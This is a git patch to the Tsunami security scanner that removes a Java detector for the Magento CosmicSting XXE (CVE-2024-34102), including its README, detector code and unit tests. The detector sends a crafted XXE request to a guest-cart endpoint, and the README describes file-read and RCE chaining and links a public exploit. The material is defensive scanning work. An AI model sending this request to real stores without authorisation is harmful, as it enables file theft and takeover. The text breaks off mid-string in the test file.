From e9f7131549b6d86bb0fa6fd9e6a25d16ae7a752c Mon Sep 17 00:00:00 2001 From: Robert Dick Date: Thu, 2 Jul 2026 07:47:10 -0400 Subject: [PATCH 1/2] converted magento cosmicsting cve-2024-34102 to templated --- .../magento_cosmicsting_xxe/README.md | 74 --- .../magento_cosmicsting_xxe/build.gradle | 41 -- .../magento_cosmicsting_xxe/settings.gradle | 12 - .../cves/cve202434102/Annotations.java | 36 -- .../cve202434102/MagentoCosmicStingXxe.java | 452 ------------------ .../MagentoCosmicStingXxeBootstrapModule.java | 40 -- .../MagentoCosmicStingXxeConfigs.java | 24 - .../MagentoCosmicStingXxeTest.java | 263 ---------- ...agentoCosmicSting_CVE_2024_34102.textproto | 135 ++++++ ...oCosmicSting_CVE_2024_34102_test.textproto | 86 ++++ 10 files changed, 221 insertions(+), 942 deletions(-) delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/README.md delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/build.gradle delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/settings.gradle delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java delete mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java create mode 100644 templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102.textproto create mode 100644 templated/templateddetector/plugins/cve/2024/MagentoCosmicSting_CVE_2024_34102_test.textproto diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md deleted file mode 100644 index 9c6d26bba..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/README.md +++ /dev/null @@ -1,74 +0,0 @@ -# Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102) - -## Description - -Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical -unauthenticated XXE (XML External Entity) vulnerability that can lead to -arbitrary code execution on unpatched systems. The vulnerability can be -exploited by sending an unauthenticated HTTP request with a crafted XML file -that references external entities; when the request payload is deserialized, the -attacker can extract sensitive files from the system and gain administrative -access to the software. - -### Impact - -The CosmicSting XXE vulnerability by itself can be exploited to perform -Arbitrary File Reads and Server-Side Request Forgeries (SSRF). Effectively, this -allows attackers to leak sensitive information from files in the target system -or from internal network endpoints. For example, an attacker could leak -Magento's configuration files to gain administrative access to the software, or -leak an SSH key to log onto the system itself. - -### Remote Code Execution - -On unpatched systems, Remote Code Execution can be achieved by combining the -CosmicSting XXE vulnerability with the -[PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1) (aka -CNEXT). A very reliable public exploit for Magento that leverages both -vulnerabilities and achieves RCE was released by @cfreal, the author of the -iconv research, and can be found -[here](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py). - -### Detector's implementation - -This detector only exploits the XXE vulnerability to perform a simple Arbitrary -File Read (leaking `/etc/passwd`) and a SSRF (calling back to the Tsunami -Callback Server). It was not possible to implement the full RCE exploit due to -the current limitations of the Callback Server. Specifically, the RCE exploit -requires leaking the process memory map and the system's libc binary, in order -to properly calculate the memory addresses needed for the final exploit step. -Even if the Callback Server allows us to check whether a callback was received, -it doesn't allow us to fetch any extra data attached to the request (such as URL -parameters or the POST body), thus it makes it impossible for us to retrieve the -leaked data needed for the full exploit. - -## Affected Versions - -- 2.4.7 and earlier -- 2.4.6-p5 and earlier -- 2.4.5-p7 and earlier -- 2.4.4-p8 and earlier -- 2.4.3-ext-7 and earlier* -- 2.4.2-ext-7 and earlier* - -*These versions are only applicable to customers participating in the Extended -Support Program - -## References - -- [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce - and Magento - (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102) -- [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102) -- [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html) -- [CosmicSting CNEXT RCE exploit](https://github.com/ambionics/cnext-exploits/blob/main/cosmicsting-cnext-exploit.py) - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -The Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle deleted file mode 100644 index 18c76930c..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle +++ /dev/null @@ -1,41 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - - - -def coreRepoBranch = System.getenv("GITBRANCH_TSUNAMI_CORE") ?: "stable" -def tcsRepoBranch = System.getenv("GITBRANCH_TSUNAMI_TCS") ?: "stable" - -dependencies { - implementation("com.google.tsunami:tsunami-common") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-plugin") { - version { branch = "${coreRepoBranch}" } - } - implementation("com.google.tsunami:tsunami-proto") { - version { branch = "${coreRepoBranch}" } - } - - testImplementation "junit:junit:4.13.2" - testImplementation "com.squareup.okhttp3:mockwebserver:3.12.0" - testImplementation "org.mockito:mockito-core:5.18.0" - testImplementation "com.google.inject:guice:6.0.0" - testImplementation "com.google.truth:truth:1.4.4" - testImplementation "com.google.inject.extensions:guice-testlib:6.0.0" - testImplementation "com.google.truth.extensions:truth-java8-extension:1.4.4" - testImplementation "com.google.truth.extensions:truth-proto-extension:1.4.4" -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle b/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle deleted file mode 100644 index 0f08fbbd8..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/settings.gradle +++ /dev/null @@ -1,12 +0,0 @@ -rootProject.name = 'magento_cosmicsting_xxe_cve-2024-34102' - -def coreRepository = System.getenv("GITREPO_TSUNAMI_CORE") ?: "https://github.com/google/tsunami-security-scanner.git" -def tcsRepository = System.getenv("GITREPO_TSUNAMI_TCS") ?: "https://github.com/google/tsunami-security-scanner-callback-server.git" - -sourceControl { - gitRepository("${coreRepository}") { - producesModule("com.google.tsunami:tsunami-common") - producesModule("com.google.tsunami:tsunami-plugin") - producesModule("com.google.tsunami:tsunami-proto") - } -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java deleted file mode 100644 index f29c8ed7e..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java +++ /dev/null @@ -1,36 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202434102; - -import static java.lang.annotation.ElementType.FIELD; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import javax.inject.Qualifier; - -/** Annotation for {@link MagentoCosmicStingXxe}. */ -final class Annotations { - @Qualifier - @Retention(RetentionPolicy.RUNTIME) - @Target({PARAMETER, METHOD, FIELD}) - @interface OobSleepDuration {} - - private Annotations() {} -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java deleted file mode 100644 index 46ed470a2..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java +++ /dev/null @@ -1,452 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202434102; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verify; -import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.common.net.HttpHeaders.CONTENT_TYPE; - -import com.google.common.annotations.VisibleForTesting; -import com.google.common.collect.ImmutableList; -import com.google.common.flogger.GoogleLogger; -import com.google.common.util.concurrent.Uninterruptibles; -import com.google.gson.JsonElement; -import com.google.gson.JsonObject; -import com.google.protobuf.ByteString; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.common.net.http.HttpClient; -import com.google.tsunami.common.net.http.HttpHeaders; -import com.google.tsunami.common.net.http.HttpRequest; -import com.google.tsunami.common.net.http.HttpResponse; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.UtcClock; -import com.google.tsunami.plugin.PluginType; -import com.google.tsunami.plugin.VulnDetector; -import com.google.tsunami.plugin.annotations.PluginInfo; -import com.google.tsunami.plugin.payload.NotImplementedException; -import com.google.tsunami.plugin.payload.Payload; -import com.google.tsunami.plugin.payload.PayloadGenerator; -import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; -import com.google.tsunami.proto.AdditionalDetail; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.PayloadGeneratorConfig; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TextData; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; -import java.io.IOException; -import java.time.Clock; -import java.time.Duration; -import java.time.Instant; -import javax.inject.Inject; - -/** A Tsunami plugin that detects the CosmicSting XXE in Adobe Commerce and Magento */ -@PluginInfo( - type = PluginType.VULN_DETECTION, - name = "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)", - version = "0.1", - description = - "This plugin detects the CosmicSting XXE vulnerability in Magento and Adobe Commerce.", - author = "Savino Sisco (savio@doyensec.com)", - bootstrapModule = MagentoCosmicStingXxeBootstrapModule.class) -public final class MagentoCosmicStingXxe implements VulnDetector { - @VisibleForTesting static final String VULNERABILITY_REPORT_PUBLISHER = "TSUNAMI_COMMUNITY"; - @VisibleForTesting static final String VULNERABILITY_REPORT_ID = "CVE-2024-34102"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_TITLE = - "Magento & Adobe Commerce CosmicSting XXE (CVE-2024-34102)"; - - static final String VULNERABILITY_REPORT_DESCRIPTION_BASIC = - "The scanner detected a Magento or Adobe Commerce instance vulnerable to the CosmicSting XXE" - + " (CVE-2024-34102). The vulnerability can be exploited by sending an unauthenticated" - + " HTTP request with a crafted XML file that references external entities; when the" - + " request payload is deserialized, the attacker can extract sensitive files from the" - + " system and gain administrative access to the software. Remote Code Execution (RCE)" - + " can be accomplished by combining this issue with another vulnerability, such as the" - + " PHP iconv RCE (CVE-2024-2961). An exploit that leverages both vulnerabilities to" - + " achieve RCE on unpatched Magento is publicly available.\n" - + "See: https://nvd.nist.gov/vuln/detail/CVE-2024-34102 or" - + " https://helpx.adobe.com/security/products/magento/apsb24-40.html for more" - + " information.\n"; - - @VisibleForTesting - static final String VULNERABILITY_REPORT_RECOMMENDATION = - "Install the latest security patches and rotate your encryption keys. More detailed" - + " instructions can be found in the official Adobe security bulletin:" - + " https://helpx.adobe.com/security/products/magento/apsb24-40.html."; - - static final String DTD_FILE_URL = - "https://raw.githubusercontent.com/google/tsunami-security-scanner-plugins/master/payloads/magento-cosmicsting-xxe/dtd.xml"; - private static final String PAYLOAD_TEMPLATE = - "\n" - + "\n" - + " \n" - + " \n" - + " %sp;\n" - + " %param1;\n" - + "]>\n" - + "&exfil;"; - - @VisibleForTesting - static final String VULNERABLE_ENDPOINT_PATH = - "rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods"; - - @VisibleForTesting - static final String CURRENCY_ENDPOINT_PATH = "rest/default/V1/directory/currency"; - - @VisibleForTesting static final String VERSION_ENDPOINT_PATH = "magento_version"; - - private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); - private final Clock utcClock; - private final HttpClient httpClient; - private final PayloadGenerator payloadGenerator; - private final int oobSleepDuration; - private boolean responseMatchingOnly = false; - private String detectedMagentoVersion = null; - - @Inject - MagentoCosmicStingXxe( - @UtcClock Clock utcClock, - HttpClient httpClient, - PayloadGenerator payloadGenerator, - @OobSleepDuration int oobSleepDuration) { - this.utcClock = checkNotNull(utcClock); - this.httpClient = checkNotNull(httpClient); - this.payloadGenerator = checkNotNull(payloadGenerator); - this.oobSleepDuration = oobSleepDuration; - } - - @Override - public ImmutableList getAdvisories() { - return ImmutableList.of(getAdvisory(Severity.CRITICAL, "")); - } - - // This is the main entry point of VulnDetector. - @Override - public DetectionReportList detect( - TargetInfo targetInfo, ImmutableList matchedServices) { - logger.atInfo().log("MagentoCosmicStingXxe starts detecting."); - - return DetectionReportList.newBuilder() - .addAllDetectionReports( - matchedServices.stream() - .filter(NetworkServiceUtils::isWebService) - .filter(this::isMagento) - .filter(this::isServiceVulnerable) - .map(networkService -> buildDetectionReport(targetInfo, networkService)) - .collect(toImmutableList())) - .build(); - } - - Vulnerability getAdvisory(Severity severity, String additionalDetails) { - return Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher(VULNERABILITY_REPORT_PUBLISHER) - .setValue(VULNERABILITY_REPORT_ID)) - .setSeverity(severity) - .setTitle(VULNERABILITY_REPORT_TITLE) - .setDescription(VULNERABILITY_REPORT_DESCRIPTION_BASIC) - .setRecommendation(VULNERABILITY_REPORT_RECOMMENDATION) - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData(TextData.newBuilder().setText(additionalDetails))) - .addRelatedId(VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2024-34102")) - .build(); - } - - /* - Check presence of endpoint with always anonymous access: /rest/default/V1/directory/currency - From: https://developer.adobe.com/commerce/webapi/rest/use-rest/anonymous-api-security/ - - Typical response: - HTTP/2 200 OK - { - "base_currency_code": "USD", - "base_currency_symbol": "$", - ... - } - */ - private boolean isMagento(NetworkService networkService) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CURRENCY_ENDPOINT_PATH; - - HttpRequest req = - HttpRequest.get(targetUri) - .setHeaders(HttpHeaders.builder().addHeader("Accept", "application/json").build()) - .build(); - - HttpResponse response; - try { - response = this.httpClient.send(req, networkService); - } catch (IOException e) { - return false; - } - - // Check status code 200 - if (response.status() != HttpStatus.OK) { - return false; - } - - // Check if body is JSON - if (response.bodyJson().isEmpty()) { - return false; - } - - JsonElement body = response.bodyJson().get(); - // Check if JSON body is object - if (!body.isJsonObject()) { - return false; - } - - // If the body has a known key, e.g. "base_currency_code", it's Magento - return body.getAsJsonObject().has("base_currency_code"); - } - - /* - Tries to get the Magento version by fetching /magento_version - This endpoint can be manually disabled, so don't stop the plugin if we can't fetch it - */ - private String detectMagentoVersion(NetworkService networkService) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VERSION_ENDPOINT_PATH; - logger.atInfo().log("Trying to detect Magento version at '%s'", targetUri); - - HttpRequest req = HttpRequest.get(targetUri).withEmptyHeaders().build(); - - try { - HttpResponse response = this.httpClient.send(req, networkService); - if (response.status() == HttpStatus.OK - && response.bodyString().orElse("").contains("Magento")) { - String version = response.bodyString().get(); - logger.atInfo().log("Detected Magento version: '%s'", version); - return version; - } else { - logger.atInfo().log("Unable to detect Magento version."); - return null; - } - - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); - return null; - } - } - - private String ensureCorrectUrlFormat(String domainOrUrl) { - if (domainOrUrl.startsWith("http://") || domainOrUrl.startsWith("https://")) { - return domainOrUrl; - } else { - return "http://" + domainOrUrl; - } - } - - private String getJsonPayload(String xxePayload) { - /* JSON payload format: - { - "address": { - "totalsReader": { - "collectorList": { - "totalCollector": { - "sourceData": { - "data": payload, - "options": 16 - } - } - } - } - } - } - */ - - // Build the JSON object containing the XXE payload - JsonObject sourceData = new JsonObject(); - sourceData.addProperty("data", xxePayload); - sourceData.addProperty("options", 16); - - JsonObject totalCollector = new JsonObject(); - totalCollector.add("sourceData", sourceData); - - JsonObject collectorList = new JsonObject(); - collectorList.add("totalCollector", totalCollector); - - JsonObject totalsReader = new JsonObject(); - totalsReader.add("collectorList", collectorList); - - JsonObject address = new JsonObject(); - address.add("totalsReader", totalsReader); - - JsonObject jsonPayload = new JsonObject(); - jsonPayload.add("address", address); - - return jsonPayload.toString(); - } - - // Sends the payload and returns True if the response matches the pattern of a vulnerable instance - private boolean sendPayload(NetworkService networkService, String jsonPayload) { - String targetUri = - NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + VULNERABLE_ENDPOINT_PATH; - logger.atInfo().log("Sending XXE payload to '%s'", targetUri); - - HttpRequest req = - HttpRequest.post(targetUri) - .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) - .setRequestBody(ByteString.copyFromUtf8(jsonPayload)) - .build(); - - try { - HttpResponse response = this.httpClient.send(req, networkService); - // Check if the response matches any known values - if (response.status() == HttpStatus.INTERNAL_SERVER_ERROR - && response - .bodyString() - .orElse("") - .startsWith( - "{\"message\":\"Internal Error. Details are available in Magento log file.")) { - logger.atInfo().log( - "HTTP response received with status code 500 (Internal Server Error): the instance" - + " should be vulnerable."); - return true; - } else if (response.status() == HttpStatus.BAD_REQUEST - && response.bodyString().orElse("").equals("{\"message\":\"Invalid data type\"}")) { - logger.atInfo().log( - "HTTP response received with status code 400 (Bad Request): the instance seems to be" - + " patched."); - return false; - } else { - logger.atInfo().log( - "Response does not match any known responses. Status code: %s (%s).", - response.status().code(), response.status().name()); - return false; - } - } catch (IOException e) { - logger.atWarning().withCause(e).log("Failed to query '%s'.", targetUri); - return false; - } - } - - // Checks whether a given Magento instance is exposed and vulnerable. - private boolean isServiceVulnerable(NetworkService networkService) { - // Fetch the version of the running Magento instance - this.detectedMagentoVersion = detectMagentoVersion(networkService); - - // Generate the payload for the callback server - PayloadGeneratorConfig config = - PayloadGeneratorConfig.newBuilder() - .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) - .setInterpretationEnvironment( - PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) - .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) - .build(); - - String oobCallbackUrl = ""; - Payload payload = null; - - // Check if the callback server is available, fallback to response matching if not - try { - payload = this.payloadGenerator.generate(config); - // Use callback for RCE confirmation and raise severity on success - if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { - logger.atWarning().log( - "Tsunami Callback Server not available: detector will use response matching only."); - responseMatchingOnly = true; - } else { - oobCallbackUrl = ensureCorrectUrlFormat(payload.getPayload()); - } - } catch (NotImplementedException e) { - responseMatchingOnly = true; - } - - // Build the XML XXE payload - // Note: when the callback server is not available, oobCallbackUrl will be an empty string. - // This is fine, as in that case we only care about the HTTP response, the contents of the - // payload don't really matter. - String xxePayload = - PAYLOAD_TEMPLATE - .replace("{OOB_CALLBACK}", oobCallbackUrl) - .replace("{DTD_FILE}", DTD_FILE_URL); - - // Wrap the XXE payload in a JSON object - String jsonPayload = getJsonPayload(xxePayload); - - // Send the malicious HTTP request - boolean responseMatchingVulnerable = sendPayload(networkService, jsonPayload); - - // No need to wait for the callback when the callback server is not available - if (responseMatchingOnly) { - if (responseMatchingVulnerable) { - logger.atInfo().log("Vulnerability confirmed via response matching."); - } - return responseMatchingVulnerable; - } - - logger.atInfo().log("Waiting for XXE callback."); - Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); - - // payload should never be null here as we should have already returned in that case - verify(payload != null); - if (payload.checkIfExecuted()) { - logger.atInfo().log("Vulnerability confirmed via Callback Server."); - return true; - } else if (responseMatchingVulnerable) { - logger.atWarning().log( - "HTTP response seems vulnerable, but no callback was received. Other mitigations may have" - + " been applied."); - return false; - } else { - logger.atInfo().log( - "Callback not received and response does not match vulnerable instance, instance is not" - + " vulnerable."); - return false; - } - } - - private DetectionReport buildDetectionReport( - TargetInfo targetInfo, NetworkService vulnerableNetworkService) { - // Set the additional details section to the detected Magento version - String additionalDetails; - if (this.detectedMagentoVersion == null) { - additionalDetails = "Could not detect Magento version."; - } else { - additionalDetails = "Magento version: " + detectedMagentoVersion; - } - - // Set description and severity depending on whether the vulnerability was verified via an OOB - // callback or with response matching only - Severity severity; - if (this.responseMatchingOnly) { - severity = Severity.HIGH; - } else { - severity = Severity.CRITICAL; - } - - return DetectionReport.newBuilder() - .setTargetInfo(targetInfo) - .setNetworkService(vulnerableNetworkService) - .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) - .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability(getAdvisory(severity, additionalDetails)) - .build(); - } -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java deleted file mode 100644 index ec6545ffe..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202434102; - -import com.google.inject.Provides; -import com.google.tsunami.plugin.PluginBootstrapModule; -import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; - -/** A Guice module that bootstraps the {@link MagentoCosmicStingXxe}. */ -public final class MagentoCosmicStingXxeBootstrapModule extends PluginBootstrapModule { - - @Override - protected void configurePlugin() { - registerPlugin(MagentoCosmicStingXxe.class); - } - - @Provides - @OobSleepDuration - int provideOobSleepDuration(MagentoCosmicStingXxeConfigs configs) { - if (configs.oobSleepDuration == -1) { - return 10; - } - - return configs.oobSleepDuration; - } -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java b/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java deleted file mode 100644 index 739e49fba..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java +++ /dev/null @@ -1,24 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202434102; - -import com.google.tsunami.common.config.annotations.ConfigProperties; - -@ConfigProperties("plugins.detectors.magento_cosmicsting_xxe") -final class MagentoCosmicStingXxeConfigs { - int oobSleepDuration = -1; -} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java b/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java deleted file mode 100644 index f47c335ed..000000000 --- a/doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java +++ /dev/null @@ -1,263 +0,0 @@ -/* - * Copyright 2024 Google LLC - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.tsunami.plugins.detectors.cves.cve202434102; - -import static com.google.common.truth.Truth.assertThat; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; -import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.CURRENCY_ENDPOINT_PATH; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VERSION_ENDPOINT_PATH; -import static com.google.tsunami.plugins.detectors.cves.cve202434102.MagentoCosmicStingXxe.VULNERABLE_ENDPOINT_PATH; - -import com.google.common.collect.ImmutableList; -import com.google.inject.Guice; -import com.google.inject.testing.fieldbinder.Bind; -import com.google.inject.testing.fieldbinder.BoundFieldModule; -import com.google.inject.util.Modules; -import com.google.protobuf.util.Timestamps; -import com.google.tsunami.common.net.http.HttpClientModule; -import com.google.tsunami.common.net.http.HttpStatus; -import com.google.tsunami.common.time.testing.FakeUtcClock; -import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; -import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; -import com.google.tsunami.plugins.detectors.cves.cve202434102.Annotations.OobSleepDuration; -import com.google.tsunami.proto.DetectionReport; -import com.google.tsunami.proto.DetectionReportList; -import com.google.tsunami.proto.DetectionStatus; -import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; -import com.google.tsunami.proto.TargetInfo; -import com.google.tsunami.proto.TransportProtocol; -import java.io.IOException; -import java.time.Instant; -import javax.inject.Inject; -import okhttp3.mockwebserver.Dispatcher; -import okhttp3.mockwebserver.MockResponse; -import okhttp3.mockwebserver.MockWebServer; -import okhttp3.mockwebserver.RecordedRequest; -import org.junit.After; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Unit tests for {@link MagentoCosmicStingXxe}. */ -@RunWith(JUnit4.class) -public final class MagentoCosmicStingXxeTest { - - private final FakeUtcClock fakeUtcClock = - FakeUtcClock.create().setNow(Instant.parse("2024-08-28T13:37:00.00Z")); - - @Bind(lazy = true) - @OobSleepDuration - private final int oobSleepDuration = 0; - - @Inject private MagentoCosmicStingXxe detector; - private MockWebServer mockWebServer = new MockWebServer(); - private MockWebServer mockCallbackServer = new MockWebServer(); - - private static final String MOCK_MAGENTO_VERSION = "Magento/2.4 (Mock)"; - private static final String MOCK_CURRENCY_ENDPOINT_RESPONSE = - "{\"base_currency_code\":\"USD\",\"base_currency_symbol\":\"$\",\"default_display_currency_code\":\"USD\",\"default_display_currency_symbol\":\"$\",\"available_currency_codes\":[\"USD\",\"EUR\"],\"exchange_rates\":[{\"currency_to\":\"USD\",\"rate\":1},{\"currency_to\":\"EUR\",\"rate\":0.7067}]}"; - private static final String PATCHED_INSTANCE_RESPONSE = "{\"message\":\"Invalid data type\"}"; - private static final String VULNERABLE_INSTANCE_RESPONSE = - "{\"message\":\"Internal Error. Details are available in Magento log file. Report ID:" - + " 